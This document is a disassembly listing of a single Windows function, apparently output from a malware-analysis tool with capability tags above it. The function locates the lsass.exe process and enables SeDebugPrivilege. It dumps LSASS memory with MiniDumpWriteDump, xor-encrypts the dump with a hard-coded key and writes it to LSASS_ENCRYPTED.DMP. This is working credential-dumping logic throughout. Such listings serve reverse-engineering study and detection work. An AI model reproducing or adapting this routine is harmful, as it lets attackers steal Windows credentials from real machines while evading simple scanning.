Function at 0x180001140
Capabilities:
Acquire debug privileges
Create process memory minidump
Encode data using xor
Enumerate processes
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0xc8], rax
lea rcx, str.___Searching_for_LSASS_PID_n
call fcn.180001040
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x12c
call fcn.180002540
xor edx, edx
mov dword [rsp + 0x70], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800011d6
nop dword [rax]
lea rdx, [rbp - 0x64]
lea rcx, str.lsass.exe
call fcn.180011010
test eax, eax
je 0x1800011e4
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1800011b0
lea rcx, str.____Could_not_find_LSASS_PID_n
call fcn.180001040
jmp 0x180001240
mov ebx, dword [rsp + 0x78]
test ebx, ebx
je 0x1800011d6
mov edx, ebx
mov qword [rsp + 0x1e0], rdi
lea rcx, str.___LSASS_PID:__i_n
call fcn.180001040
xorps xmm0, xmm0
xor edi, edi
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
lea edx, [rdi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180001262
lea rcx, str.____Could_not_get_current_process_token_with_TOKEN_ADJUST_PRIVILEGES_n
call fcn.180001040
mov rdi, qword [rsp + 0x1e0]
xor eax, eax
mov rcx, qword [rbp + 0xc8]
xor rcx, rsp
call fcn.1800014b0
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1d0
pop rbp
ret
movdqa xmm0, xmmword [str.SeDebugPrivilege]
lea r8, [rsp + 0x64]
lea rdx, [rbp + 0xb0]
mov dword [rsp + 0x60], 1
xor ecx, ecx
mov dword [rsp + 0x6c], 2
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xc0], dil
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x1800012b8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____No_SeDebugPrivs._Make_sure_you_are_an_admin_n
jmp 0x180001233
mov qword [rsp + 0x28], rdi
lea r8, [rsp + 0x60]
mov r9d, 0x10
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x1800012f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Could_not_adjust_to_SeDebugPrivs_n
jmp 0x180001233
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001317
lea rcx, str.____Could_not_open_handle_to_LSASS_process_n
jmp 0x180001233
lea rcx, [0x1800010a0]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rcx
mov r9d, 2
lea rcx, [rsp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x30], rcx
mov edx, ebx
mov qword [rsp + 0x28], rdi
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
je 0x180001441
lea rcx, str.___Successfully_dumped_LSASS_to_memory__n
call fcn.180001040
movsd xmm0, qword [str.jisjidpa123]
lea rdx, [rbp + 0xa0]
mov eax, dword [0x180019ff0]
lea rcx, str.___Xor_encrypting_the_memory_buffer_containing_the_dump_data_n___Xor_key:__s_n
movsd qword [rbp + 0xa0], xmm0
mov dword [rbp + 0xa8], eax
call fcn.180001040
movsxd r10, dword [0x18001ebe0]
mov r9d, edi
mov rdx, qword [0x18001ebe8]
test r10, r10
jle 0x1800013e2
mov r8, rdi
nop dword [rax]
cmp r8, 0xb
lea rdx, [rdx + 1]
mov rcx, rdi
cmovne rcx, r8
movzx eax, byte [rbp + rcx + 0xa0]
xor byte [rdx - 1], al
mov eax, edi
cmp r8, 0xb
lea r8, [rcx + 1]
cmovne eax, r9d
lea r9d, [rax + 1]
sub r10, 1
jne 0x1800013b0
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
lea rcx, str.LSASS_ENCRYPTED.DMP
mov edx, 0x10000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r8d, dword [0x18001ebe0]
lea r9, [rsp + 0x58]
mov rdx, qword [0x18001ebe8]
mov rcx, rax
mov dword [rsp + 0x58], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, str.___Enrypted_dump_data_written_to__LSASS_ENCRYPTED.DMP__file_n
jmp 0x180001233
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_dump_LSASS_to_memory_n____Error_Code:__i_n
call fcn.180001040
jmp 0x180001238